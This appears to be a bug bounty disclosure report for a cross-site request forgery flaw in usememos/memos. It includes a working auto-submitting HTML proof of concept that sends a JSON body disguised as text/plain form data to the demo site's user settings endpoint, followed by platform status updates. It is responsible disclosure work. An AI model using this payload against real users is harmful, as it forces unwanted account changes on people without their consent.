CSRF to change user language preferences in usememos/memos
Valid
Reported on
Dec 28th 2022
Description
Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user
Proof of Concept
1) Go to https://demo.usememos.com and login into your account
2) Save the below CSRF POC as CSRF.html and open the file in the same browser
3) You will see that the interface language has changed
CSRF POC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.usememos.com/api/user/setting" method="POST" enctype="text/plain">
<input type="hidden" name="{"key":"locale","value":"\"zh\""}" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
# Impact
A CSRF vulnerability can allow an attacker to force the change of a password and/or other personal information
Occurrences
We are processing your report and will contact the
usememos/memos
team within 24 hours.
12 days ago
We have contacted a member of the
usememos/memos
team and are waiting to hear back
11 days ago
The researcher's credibility has increased: +7
user_setting.go#L1-L110
has been validated
to join this conversation